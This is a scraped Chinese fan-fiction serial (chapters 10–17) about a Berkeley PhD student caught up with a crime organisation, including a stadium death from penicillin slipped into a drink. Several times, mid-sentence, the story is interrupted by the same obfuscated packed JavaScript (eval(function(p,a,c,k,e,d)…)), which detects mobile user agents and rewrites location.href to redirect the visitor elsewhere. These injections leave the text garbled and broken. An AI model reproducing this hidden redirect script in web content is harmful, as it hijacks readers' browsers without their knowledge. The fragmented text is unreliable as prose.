他连忙把电脑拿出来，找到那个文件，往下翻，果然看到了一个姓宫野的，全名是“宫野厚司”，在他刚进这个实验室之前毕业，毕业去向很模糊地写着“日本，药物研发”。 10. 不参加会议的时候就不能当学术蝗虫了吗 宫野厚司的履历很漂亮：他五年拿到了博士学位，期间发了一篇science正刊和两篇大子刊。但那三篇文章就是他唯一查得到的发表了。博士毕业后他再也没有新的论文，甚至连Google scholar的通讯邮箱也没有更新。 他的学术生涯似乎结束在了六年前他博士毕业的那一刻。 而差不多一个月后，长岛京悟被老登招进了实验室，成为新一代全能牛马。 宫野厚司在老登实验室做的课题几乎和长岛京悟一模一样，专注于探索一个特定的伴侣蛋白对于驱动蛋白的调控分子机制。在某种意义上，他的实验技能和受到的的学术训练与长岛京悟是几乎重合的。 这就是他被宫野厚司招募的原因吗？ 不一定。首先，这件荒谬的事情里第一个大疑点在于为什么宫野厚司可以成为一个新建研究所的首席科学家。哪怕是世界上最顶尖的研究人员，改变研究领域都算是伤筋动骨，需要极其小心谨慎。宫野厚司博士期间的研究方向和实际的应用是八杆子打不着的不沾边，他凭什么获得一个跨国犯罪组织的青睐，得到那么多的研究资金？ 第二大疑点在于宫野厚司对同门的不知从何而来的信任。他们虽然是同门师兄弟，但是在实验室的时间恰巧错开了。哪怕宫野厚司对于老登的培养很有信心，但是他也应该清楚科研第一定律，即一个优秀的科学家之所以能够成功，百分之九十是由于他自己的努力、敏锐、智慧，只有最多百分之十来自于导师的指引。宫野厚司既然是同门，那他自己应该很清楚老登其实毛都不懂还爱瞎指导，他凭什么在没有和长岛京悟有任何接触的情况下认定对方是一个优秀的科研人才？何况他们的那一次短暂又诡异的面试都不需要讲课题，这明明是判断一个科研人员研究能力的最直接的方式。 他们唯一的交集是都在老登实验室当过牛马。 老登到底在这里起到了什么作用？ 宫野厚司毕业之后的去向和老登有关系吗？ 换句话说，老登和这个组织之间会有任何联系吗？ “您已抵达终点站。” 思绪戛然而止。长岛京悟茫然地看了看窗外，确认自己还有三个站才到实验室。加州伯克利依山而建，他的实验室不巧在山顶上，而今天被废除的三个站正好对应着山脚爬到山顶的一段路。 司机说：“今天山顶体育场有比赛，上面封路了。爬吧。” 长岛京悟只好哼哧哼哧地爬山。虽然不喜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14824420|158780||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 欢，但这点路对他来说还不算什么。和绝大多数科研人一样，读博读到最后很多人都读成了体育生，他也常常在实验不成功的深夜在健身房挥汗如雨。更何况湾区六年，他早已染上爬山钓鱼摘樱桃的陋习。 他慢慢地往前走，差点撞上一堵墙。 刘伟，之前对你不太在意，现在才觉得你真的好高啊。 长岛京悟打招呼：“嗨，你也去实验室吗？” 刘伟说：“前辈早上好！是的，我也在去实验室的路上。” 长岛京悟：“好啊，那一起爬。” 刘伟：“话说回来，前辈今晚有兴趣一起去看球吗？” 长岛京悟：“不了吧，我对这个没太大感觉。” 刘伟：“凭票可以领免费热狗，不限量的。” 长岛京悟：“我有兴趣，你有票吗？” 刘伟说：“有的，我之前篮球部的朋友今天要上场，所以我有前排的票哦。” 长岛京悟问：“前排的票可以插队领热狗吗？” 刘伟说：“这个应该不行，但是比赛结束后我们可以去球员休息室见见我的朋友，他们到时候有披萨。” 长岛京悟：“太好了，那我们今天早点去排队吃热狗。” 11. 像我这样平凡的人，你还见过多少人 最后在山顶体育场排队拿热狗的是长岛京悟、刘伟和赤井秀一。长岛京悟没想到赤井秀一还挺喜欢篮球的，这大概是每一个美国青少年都不太抗拒的运动。 他们排着队，刘伟往旁边看了看，说：“那里有自助饮品，我去拿。” 长岛京悟说：“我要三分之一无糖可口可乐，三分之一芬达，三分之一百事可乐，最后加入一splash的冰茶。” 赤井秀一问：“这个组合好喝吗？” 长岛京悟：“还可以的，你要试试吗？” 赤井秀一摇了摇头：“麻烦给我百分之五十冰茶和百分之五十无糖百事可乐。” 他们喝着饮料继续等热狗。赤井秀一和长岛京悟开始热烈地讨论起热狗上面要加什么酱。 赤井秀一说：“要番茄酱和的第戎芥末酱，fifty fifty。” 长岛京悟痛心疾首：“小小年纪怎么沾上了番茄酱的瘾，这个染上了之后你一辈子都要吃番茄酱了，戒不掉的。” 刘伟：“我其实不加酱，我们中国人不喜欢这些花里胡哨的调味料。” 其余两人瞪大了眼睛，长岛京悟嘴里嘟囔着“这个人的人生一定很黑暗吧”。 刘伟：“我发现秀一真的很喜欢说fifty fifty。” 长岛京悟：“好像是这样。” 赤井秀一：“有什么问题吗？” 长岛京悟：“这样，下次G老师问我们蛋白提出来了没有的时候你就跟他说fifty fifty，给他一点薛定谔的猫的那种学术震撼。” 赤井秀一问：“那我们到底提出来了没有呢？”他们今天折腾了一天，五点的时候长岛京悟果断选择四度tev酶切过夜，准时下班。 长岛京悟：“fifty fifty。” 刘伟在旁边帮腔：“fifty fifty。” 赤井秀一：“够了，我之后再也不会说这个词了。” 他们吃着热狗往场馆里走，突然听见正后方传来一声尖叫。赤井秀一飞快地转身，看见一个男生倒在地上，两个女孩手足无措地站在旁边。他立刻冲去检查男生的情况，然后对他展开急救。 长岛京悟和刘伟紧随其后，两人分别开始打给911和联系校警。 “救护车什么时候到？”赤井秀一咬着牙问：“他心跳在变慢。” 长岛京悟对着电话急促地报着地址。 刘伟大声说：“校警在来的路上了，他们车上有急救仪器，坚持一下！” 或许是听到这句话，躺在地上不省人事的男生突然间努力地睁开眼睛，张开嘴：“啊……啊……” 赤井秀一急忙凑近：“你现在怎么样？” 男生的脸已经涨得青紫。他睁着眼睛却无法呼吸，全身的皮肤都呈可怕的红色。似乎是撑着最后一口气，他用吹枯拉朽的微弱声音对赤井秀一说了一句话。 他的手很快垂下了，眼睛却没有闭上。 赤井秀一握紧了拳头，颤抖着说：“他的心脏停跳了，他死了。” 男生死不瞑目。 一阵肃杀的、难熬的静；体育馆外广场上的人好像都被冻住了。很快，一个女生的尖叫打破了沉默，嘈杂的声音回归，掺杂着男生身旁两个女孩的抽泣。 赤井秀一的指甲陷入掌心里。他低着头站起身。他痛恨自己在生命流逝面前的无能为力。 长岛京悟走到他身边，安慰性地拍了拍他的肩膀，但是好像在发抖。赤井秀一抬头，猜到这个腹黑、温和的前辈应当是第一次亲眼看到人类的死 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14824421|158780||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 亡。 刘伟肃穆而哀悼地站在尸体旁边，他看上去也很不好，他手里拿着的应援棒已经被他捏出了一个洞。 面对死亡，他们都被吓坏了。 在这一刻，赤井秀一深切地意识到，或许自己是特别的，而这个世界上绝大多数的人都和他的两位实验室同僚一样：他们维持着平凡的社会关系，从未真正见过或了解过黑暗，或许究其一生都不会有任何惊心动魄的奇遇。 在某种意义上，他们似乎就像是每一部动画里的背景路人一样不值得浪费作者的笔墨。 长岛京悟和刘伟都是这样的普通人，但是他们依然鲜活而生动。尽管他们不会成为动画的主角，在赤井秀一的眼里，他们的生命并不比他的没有意义。 他的正义就是为了守护这样的普通人而存在。 很快警察赶到现场。赤井秀一熟练地和他们对接起了工作，包括尸检、保护现场、口述急救时的情况。刘伟目瞪口呆地看着赤井秀一灵活地在人群中穿梭：“前辈，这个高中生真厉害啊。” 长岛京悟说：“他好像之后想要申请刑侦学的学位，有可能家庭耳濡目染。” 这个时候赤井秀一走到他们旁边说：“这场球赛是会被NCAA转播的，所以不会取消。你们可以进去看，外面有我。” 其余两人均表示自己已经没有看球的兴趣了。 长岛京悟突然灵光一闪：“话说回来，秀一，那个男生是不是临死前和你说了些什么？他是不是在告诉你凶手是谁？” 刘伟业恍然大悟：“我也看见了！他好像是在交代遗言。” 一旁工作的警察也向这边看来。 赤井秀一的脸色比哭还难看：“他的确说了一句话……但是他口音太重了……我实在是没听懂……” 12. 听得懂印度口音将来做什么都会成功的 赤井秀一没有听懂死者最后说的一句话，但是他凭借着优秀的记忆力把它复述了出来：“de drin o de oodoh” 刘伟：“……这个好像和电视上演的不一样啊。” 长岛京悟闭上眼睛思考。 他迟疑着说：“是不是’The drink or the hotdog’？” 刘伟：“……这么说来真的应该是。你怎么听出来的？” 长岛京悟：“你多去上几节工程学院的课吧。” 刘伟：“我倒是想，但是我哪抢得着工程学院的课呢。” 两个人一同叹气。 赤井秀一脑子转得飞快。如果按照长岛京悟的解读，死者最后是在暗示他中毒了，而且毒下在刚刚吃的热狗或饮料中。刚刚他自己和同伴们都狼吞虎咽了好几个热狗和饮料，如果是原材料的问题，那他们现在都应该毒发了才对。 这说明毒应当是后来下的。这么看来，他的同伴都很可疑。 法医的声音也传来：“应该是某种很严重的窒息反应（Asphyxiation）。和全身泛红一起看的话像是过敏，但是确切的来源我们需要到实验室化验。” 赤井秀一问旁边还在啜泣的女生：“你们知道他对什么过敏吗？” 她们都摇头。 长岛京悟拉过赤井秀一，低声说：“你去看看他的手机，如果是苹果手机的话很多人会设置紧急的医疗卡，不用解锁，在锁屏那里可以看到的。”他把手机亮出来展示，点开右下角的“medical ID”，可以看到他自己编辑的基础医疗资料：身高178，体重70kg，血型AB型……再往下拉，过敏史那一栏写着盘尼西林。长岛京悟很珍惜自己来之不易的第二次生命，他尽可能早睡、做了全身体检、手机上和随身包里都准备了自己的医疗信息卡，尽力降低自己再一次猝死的可能性。 赤井秀一和警察示意，他们从死者身上掏出手机，在医疗卡上看见死者的过敏史上写着一模一样的“盘尼西林”。 死者叫温杰·辛格，是印度留学生，目前在读大三，专业是化学工程。和他一起来的两个女生一个叫做杰西卡·黄，华裔，社会学大三。另一个叫做莫妮卡·克里尔，白人，化学系大二。另外，和他们一起来蹭热狗的还有一个男生，拿完热狗就走了，叫做鲍勃·米勒，物理学系，目前读大四。 他们三人和鲍勃在学校南门广场碰面，一起走到体育场。很碰巧，他们就排在长岛京悟一行人前面领餐。温杰吃的热狗正好和长岛京悟一样只加了第戎芥末酱，喝的是无糖可口可乐。 长岛京悟依旧活蹦乱跳，说明过敏原应当是人为在取餐后加进去的。 两个女生都坚持 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14824422|158780||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说自己不知道温杰对任何东西过敏，杰西卡更是直白地说“我以为只要是能吃的东西他都可以吃”。在她们的身上也没有发现盘尼西林。两人都表示自己和温杰无冤无仇，没有谋害他的动机。 一个警察已经出发去把鲍勃带来现场，因为他有离开的举动，所以他的嫌疑更大。 那么谁有可能获得盘尼西林呢？ 盘尼西林在美国是处方药，有一定的获取难度。警方可以查到杰西卡、莫妮卡和鲍勃的医疗记录，他们都没有在近两年得到盘尼西林的处方。 但是盘尼西林在生物实验室非常常见，好几天前刘伟还在用它配细胞培养液。莫妮卡和鲍勃都有在课余做科研，其中莫妮卡的实验室有细菌和人工培养细胞的实验安全登记，鲍勃的实验室把这些工作外包给了学校里的公用实验室，但是他们也常常去外包的实验室交接工作。这两人都有工作上的便利来拿到盘尼西林。 杰西卡作为三个人里唯一没有任何已经取得盘尼西林的文科生嫌疑最小。甚至于警长对赤井秀一说：“我们可以让杰西卡回去了，她不可能作案。” 赤井秀一思考着：“再等一下吧。” 他本能性地觉得有什么不对。 他的脑子里回想起杰西卡说的：“我以为只要是能吃的东西他都可以吃。” 这句话听上去为什么这么别扭？ 13. 你一个学社会学的，怎么敢预设前提啊 长岛京悟把赤井秀一拉到一边，低声说：“他的死因也不一定就是盘尼西林。” 赤井秀一愣了一下，随即急切地问：“为什么？” 长岛京悟解释道：“盘尼西林过敏虽然有可能致死，但这个可能性并没有想象中的那么大，而且不可能死得那么快。另外，过敏反应和我之前和你讲过的链式反应相似，都会从轻度到重度，层级递增放大。从我们吃完热狗到温杰死不到十分钟，在这十分钟内他至少会发现第一层的过敏症状，他应当有时间对自己采取基本的医疗措施。” “……你是说，”赤井秀一皱起眉，“这有可能是一种毒杀，只是混杂了过敏反应？” 长岛京悟点头：“我只是觉得有这个可能。不过具体情况是否是这样，就要等到化验结果出来了。” 赤井秀一再一次想到杰西卡说的话，他知道违和感从何而来了。 美国人的过敏原千奇百怪，食物、药物、花草、粉尘……在这个连性别都不可以预设的社会，杰西卡，一个社会学的学生，多元化的先锋，个人自由的卫士，竟然预设了温杰的过敏是从食物中获得的。 再仔细想，她甚至没有询问这是不是可以公开的信息！ 她要么是心里有鬼，要么是社会学的吊车尾。 赤井秀一问身旁的警察：“你在杰西卡身上又找到任何可疑的东西了吗？” 警察说：“没有。她的包里只有两本很厚的书。” 赤井秀一确认：“只有书吗？” 警察：“是的。” 长岛京悟插嘴：“一支笔都没有？他们学社会学的人读reading不都边看边写的吗？” 赤井秀一突然间灵光乍现。他急忙戴上手套去翻旁边的垃圾桶，果然在其他垃圾里找到了一支笔。 他把笔拿到杰西卡面前：“这是你丢的吗？” 杰西卡面色苍白地摇头，但是她的动摇和逃避在赤井秀一的眼里一览无余。 赤井秀一把笔交给警察：“麻烦检查一下这支笔上有没有杰西卡的指纹，以及这支笔上有没有残留的其他东西。” 杰西卡垂下头。半晌，她冷静地说：“从现在开始，我要行使我作为公民的基本权利，我需要一个律师代理我的一切法律义务。” 杰西卡被带走的时候回头对赤井秀一说：“盘尼西林的事情我确实是刚刚才知道的。” 赤井秀一微笑道：“我知道，因为你的确没有渠道拿到。” 学社会学的人在一种层面上对法律有敬畏，但在另一种层面上他们又容易怀着悲悯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14824423|158780||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的心情做飞蛾扑火的事。赤井秀一可以相信杰西卡没有违法取得盘尼西林，但他也很想知道究竟是什么让这个女孩自毁式地下了杀人的决心。 又过了一会儿，鲍勃被带来现场。听说杰西卡被逮捕的事情后，他立刻承认了自己在温杰的饮料里投放盘尼西林的事实。在他的住处也发现了一件被遗弃的外套，口袋里有剩余的盘尼西林。 而在鲍勃口述中大家得知了他们的动机。 两年前，这个朋友圈里还有另外一个女孩。他们五个人都住在一栋宿舍楼里，也很快成为了最好的朋友。可是半年前，那个女孩自杀了。 杰西卡偶然间看到了女孩生前和温杰的聊天记录，才知道他们两人在一年前确认了恋爱关系。在这段关系中，温杰长期对女孩做狗哨式精神虐待，虐待方式包括言语羞辱和性羞辱。最后女孩在绝望中结束了生命。 杰西卡把这件事情透露给了鲍勃，只是没有想到愤怒的二人同时选择了在同一天为好友复仇。 鲍勃也被带走后，赤井秀一留在现场帮助警察做最后的收尾；长岛京悟和刘伟一起送这支离破碎的五人朋友圈里最后剩下的莫妮卡回到宿舍后，各自沉默地回家。 长岛京悟披着月色打开了公寓的门，发现沙发上坐着一位不速之客。 14. HR的工作真是朝九晚五又朝九啊 坐在沙发上的人穿着一件黑色长风衣，带着一顶黑色礼帽，礼帽下是一头飘逸的银色长发。 在民风彪悍的阿美利卡，房子进人的惊悚程度不亚于恒温箱进蟑螂。长岛京悟下意识地拔腿就跑！ 他还没跑出一步，只感到一阵划破耳膜的狂风顺着他的头发丝袭来，一只锋利的飞刀紧紧地压着他的轮廓，把他刚刚推开的门钉住了。 长岛京悟腿一软，紧靠着门才能勉强站住。 黑衣人冷冷地说：“别吵。” 长岛京悟突然开始对自己连做饭的时候稍微油烟大一点都要敲门投诉的邻居燃起期待，如果他们这次能多管闲事地报警的话，他之后就再也不在公寓做饭了。 黑衣人：“没有人会来救你的。” 长岛京悟不屑地想：那是你没有见过真正鸡毛的人。 黑衣人冷酷地说：“你的邻居已经没法做任何事情了。” 长岛京悟绝望地跌坐在地。 长岛京悟颤抖着问：“你想要什么？”他只感觉心脏快要从胸腔里跳出来，“钱吗？我给你，我只是没有很多，我是一个可怜的博士生，我的工资交完房租只勉强够我生活……” 他好像看见黑衣人漏出一抹恶意的、愉悦的笑。 黑衣人：“我不要钱。”他挑了挑眉毛，一瞬间，长岛京悟只看到黑洞洞的枪口指着他的额头！ 长岛京悟绝望地闭上眼睛。 不知道过了多久，他听见黑衣人的声音：“睁开眼睛。” 长岛京悟连忙睁眼，生怕慢了半拍惹到这位不速之客。 黑衣人的枪已经收回了，他原本握着枪的手上攥着一个文件夹。长岛京悟在黑衣人的示意下战战兢兢地接过来。 黑衣人冷酷地盯着他。 长岛京悟说：“我需要现在看吗？” 黑衣人没说话。半晌，他发出一声冷笑，微微点了下头。 长岛京悟硬着头皮打开文件夹，取出白花花的一沓钉在一起的纸。只见第一页清楚地印着四个大字： “劳动合同”。 黑衣人说：“快点看，看完了就签。我没什么耐心。” 长岛京悟小心翼翼地说：“请问您是白鸠制药HR吗？” 黑衣人又发出一声冷笑，说：“你看我像吗？” 长岛京悟挣扎着说：“我能和你们HR谈谈吗？”他的声音越来越小，“……我要问清楚薪资结构和工作时间……” 黑衣人打量地看了他一眼，他的眼神极其锐利，长岛京悟挺直了背，感觉到自己的衣服湿透了。 他不敢看黑衣人。 过了一会儿，他听见黑衣人啧了一声，然后是手机拨号的声音。 嘟嘟的拨号声响了两三下就被人接通了，一个年轻的女声响起：“琴酒。” 琴酒说：“马蒂尼。目标要和你聊一下合同。”他把手机丢给长岛京悟，示意他和对方通话，又对他亮了一下腰上别着的刀。 长岛京悟脸色苍白：“您好，马蒂尼……小姐。” 马蒂尼：“您好，请问对于合同您有什么问题吗？” 手机传来悉悉索索的翻找声，他猜测马蒂尼在找文件。 长岛京悟说：“我想和您确认一下工作时间……”他没有底气地接了一句，“如果可以的话。” 马蒂尼：“我们公司上班时间是早上九点到晚上六点，中午午休一个小时。一周工作四十小时以上算加班，加班薪酬双倍。” 长岛京悟：“会经常加班吗？” 马蒂尼：“这个每个部门不一样哦，这边需要您自己和直系领导确认呢。” 长岛京悟问：“可以和我介绍一下考勤制度吗？” 马蒂尼：“当然是可以的！我们是打卡制，上下班在门口闸机打卡。迟到在三十分钟内不扣钱，保证工时就好了。” 长岛京悟：“有年假吗？” 马蒂尼：“请稍等，我看一下你的合同上写的是什么哦。……一年您有五天带薪休假，请务必提前一个月和我们申请哦。” 琴酒不耐烦道：“问完了吗？” 长岛京悟：“马上好了。请问会给我交医保和养老保险吗？” 马蒂尼：“当然的，我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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在他开始动作前，长岛京悟赶紧心惊胆战地打断他：“你先等等！你解决了我老板也不一定能让我提前毕业，万一被我系里的人转组到了其他实验室，我还得再干六年。你应该也不想把我们生物物理系的PI全干掉吧。” 琴酒重新站直，问：“那你觉得怎么办比较合适？” 长岛京悟说：“你先别杀我老板啊。你等我想想，我到时候给你发邮件。你有自己的邮箱吗？” 琴酒发出一声冷笑。 长岛京悟：“……那我就发宫野博士的邮箱了哈，你记得有空多查一下邮箱，职场嘛，大家都不容易。” 琴酒看了他一眼，点了点头，然后像是不想看到脏东西一样迅速地翻窗离开了。 长岛京悟这才想起来他住十五楼。他跑到窗边往下看，只看到一辆黑色的保时捷飞驰离开的背影。 某种意义上，强到像琴酒这样，应该也挺难有烦恼的。 长岛京悟想到日本现在应该是凌晨两点，就给坂口安吾发了条短信。 【长岛京悟】：安吾，你起床了之后有空给我打个电话，刚刚琴酒来我这了，他还想杀我老板。 消息发出，他正打算睡觉，却看这一条消息的状态立刻从“已送达”跳到“已读”。 一分钟后他手机响了。 坂口安吾严肃的声音从手机一头传来：“长岛，你暂时安全吗？” 长岛京悟：“……你不睡觉吗？”公务员也加班这么严重吗？ 坂口安吾说：“处理工作我有我自己的节奏。你今天见到琴酒了？” 长岛京悟：“是的。他翻窗进了我家，我家住十五楼。” 坂口安吾：“他来你家干什么？” 长岛京悟：“说出来你可能不信，他来给我签劳动合同。” 电话另一边传来坂口安吾绷不住的深呼吸。 坂口安吾：“……劳动合同？” 长岛京悟：“对的，我那一份他们还拿走了要盖公章。我还和他们的HR通话了。他们的HR好像还蛮多才多艺的。” 他好像听见坂口安吾又一次绷不住地深呼吸。 坂口安吾：“长岛，请你务必把今天发生的事详细地跟我讲一下。” “你是说，他们自称是正规企业，会给你从实习期间开始买医疗保险和养老保险，工作时间正常，薪资结构合理，还签劳动合同 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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长岛京悟深吸一口气，说：“我老板把我当牛马。我每天都有干不完的活。我六年帮老板做了三个课题。我的第一个课题我老板拖了三年不给我发，改introduction改了一百遍，投完稿之后编辑跟我说又臭又长建议重写。第二个课题我最后连一作都不是，一作给了我老板初申高的儿子。第三个课题他非要全程监督，提的建议狗屁不通，全靠我自己查资料做完，好不容易写完手稿，他拖了半年不给我改。我不仅帮他做课题，我还帮他写基金。他拿到的经费不少，我们却还用着二十多岁的二手器材，器材坏了他就让我想办法修。我师姐被他卡了八年最后威胁他要炸了实验室才毕业，我干了六年了他还不想放我走。” “……真不容易啊，长岛。” 长岛京悟面无表情道：“你别打断我，他干的狗逼事我可以再说上三天三夜。我不仅在实验室给他做牛做马，他还把我当保姆用。我去年一整年都替他接送他女儿上学，早上七点送，下午四点接，把他女儿接回他家我还要回实验室继续工作。今年一月一号他早上七点半给我打十个电话，让我下午去学校带他的亲戚逛校园。” 隔着网线坂口安吾都能感觉到自己的朋友要碎了。 他迟疑着开口：“长岛……是就你的老板这样，还是你们读研的人的老板都这样？” 长岛京悟：“哈哈，这个我怎么知道呢。也有可能其他人遇到很好的老板，只是我没有呢，哈哈。” 他们又聊了几句，坂口安吾让他先耐心等一下，他们和公安商量好了对策后会有人来通知他。如果琴酒有任何动作就尽量拖住，并随时找政府寻求帮助。 长岛京悟看了一下时间，已经九点半了。他想起他的蛋白还在四度做酶切，于是赶紧启程去实验室。 今天来实验室的三个人脸上都挂着大大的黑眼圈。 长岛京悟一宿没睡，握移液枪的手都在抖。经历了早上的大破防，他觉得琴酒这种率真不做作的为人处事方式其实也没什么不好的。老登还活着，这个实验室还在运转，都得感谢他那个时候还保存了一线良知。他毕业的时候，他必须听见老登亲口喊他一句爹。 中午他们三个一起吃饭，长岛京悟问刘伟：“你昨晚失眠了？” 刘伟不好意思地说：“很明显吗？昨天晚上怎么都睡不着觉，一直在想着在体育场发生的事情。前辈呢？” 长岛京悟叹了口气：“我也差不多。秀一你昨天晚上帮他们的忙到很晚吗？而且你好像和他们很熟的样子。” 赤井秀一说：“我差不多两三点结束的。我中学参加过童子军，在警察局实习过。” 刘伟感叹：“你真厉害，之后可以成为很优秀的警探吧。” 赤井秀一谦虚道：“我会努力的。” 长岛京悟说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14824426|158780||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ：“你下午回去休息吧，小孩子还是要把觉补回来啊，不要成为像我们这样的社畜。” 赤井秀一愣了一下：“谢谢前辈，不过我还是想在实验室多学习一些知识。”他语调一转，“前辈昨天晚上也睡得很晚吗？” 长岛京悟打个哈欠：“是啊，我快毕业了，在找工作，昨天晚上有一个……面试。” 赤井秀一说：“这样啊。” 他昨天晚上在警局帮忙的时候接到了一个报警电话，报警人称自己回到家后发现母亲和丈夫倒在地上不省人事。 警察局缺少人手，他就自告奋勇和一个警察来到报警人的地址，是一个公寓楼。他们刚刚进入电梯，电梯门即将关上的瞬间，他看见长岛京悟也走进了公寓的大门。 长岛京悟没有看到他。 他和警局同僚上到十五楼，来到报警人的家里，正要关门的时候，他又看到了长岛京悟从下一班电梯里出来，慢吞吞地走进了他们隔壁的公寓。 长岛京悟依然没有看到他。 这个公寓比较便宜，隔音效果很差。正因如此，他能听见隔壁传来像是投掷飞镖的声响；然后是人跌坐在地的声音；过了一会儿，又传来说话声。 似乎是在讨论工作上的问题，他猜测前辈或许在进行某种别具一格的线上面试。 但是在他稍微安心一些，做完了对报警人家里的侦查工作正要离开的时候，他清晰地听见从长岛京悟的公寓里传来一个陌生的男声—— “……安排马蒂尼杀了他。” 17. 无人在意的角落，一个科研牛马堂堂出世 赤井秀一在十五岁的时候得知自己的特工父亲在调查一个跨国犯罪组织的时候失踪，生死不明。那一年他同为特工的母亲刚刚怀上三胎，本来美满的家庭在那一年破裂，全家人面临着背井离乡避难的危机。 母亲不愿意让剩下的家人面对危险，坚持要搬回日本。为了调查父亲失踪的真相，他在和母亲保证自己不会接触和组织相关的任何事情后，一个人从英国来到美国读书。 在他高二这年，在学校举办的大学招生活动上，他报名了FBI的寒假训练营，凭借出色的表现得到了他们的招募，成为了一名预备联邦安全调查官。按照流程，他可以开始接触这个世界的黑暗面，而正式的任命将在他大二结束后获得。 他调查的对象，毫无悬念的，就是害他家破人亡的那个犯罪组织。 组织很神秘，即使是赤井秀一在FBI的帮助下也只知道一些基础的信息：他们的成员只穿黑色的衣服；每个人都有自己的代号，以酒命名；以及组织的势力极其难以想象，在各行各业、想象到及想象不到的地方，都有他们的触角。 为了让母亲安心，他服从安排来到加州伯克利做暑期实习。带他的博士生长岛京悟是一个自我管理非常严格的社畜，每天雷打不动地在五点钟下班，他正好利用晚上的时间继续对于组织的调查。 他以为这个暑期实习会和他高中做的任何一次一样平淡而普通，却没想到这一次见义勇为给了他如此大的惊喜。 昨天晚上，他清晰地听见那个陌生的声音对长岛京悟说：“我会安排马蒂尼杀了他。” ——马蒂尼是一款酒的名字。 下意识地，赤井秀一把身体贴在墙边，靠在长岛京悟领居家的窗户旁试图窥探隔壁的动静。他看见长岛京悟家的窗户开了，一个穿着全身黑色的银灰色长发男人从窗户里跳了出来，轻松地在楼下几户的阳台上借力缓冲，然后稳稳落地，钻进了一辆黑色的保时捷扬长而去。 那辆黑色的保时捷是他知道的情报之一：组织出名的top killer琴酒的爱车就是一辆黑色的保时捷，不论在世界上的任何地方做任务，他似乎都对这款车情有独钟。 苦苦追寻的线索近在眼前，赤井秀一发现自己紧张而兴奋得手在颤抖！ 长岛京悟不知道赤井秀一脑子里的弯弯绕绕，他只想赶紧干完活回家补觉。赤井秀一现在是他手下的高中生，按照实验室牛马管理法，赤井秀一在实验室的每一分钟都需要他监督，以防这些实习生以为自己是科研新星而擅自行动，搞坏器材。赤井秀一一走，他就可以名正言顺地让刘伟帮忙跑胶，自己把蛋白分装冻上就溜，明天再来测功能。 长岛京悟苦口婆心地劝赤井秀一下午回家休息。但是他越游说，赤井秀一越燃起了对科研的热情：他甚至提出愿意今天晚上和长岛京悟一起测蛋白功能，呆到凌晨都没有问题！ 长岛京悟瞳孔地震，他觉得赤井秀一的科研热情来得不明不白，但是他能够看到这场闹剧不可挽回的结果：赤井秀一被生物化学表面上的光鲜亮丽所迷惑，要放弃自己一直以来成为警探的梦想，成为一个苦逼科研人。他说不定本科毕业之后就会因为找不到工作被迫读博，为了拿到学位被狗逼老板压榨，英年猝死。 他赶紧对旁边的刘伟使眼色：快劝劝赤井秀一，不然他很可能马上就要死了。 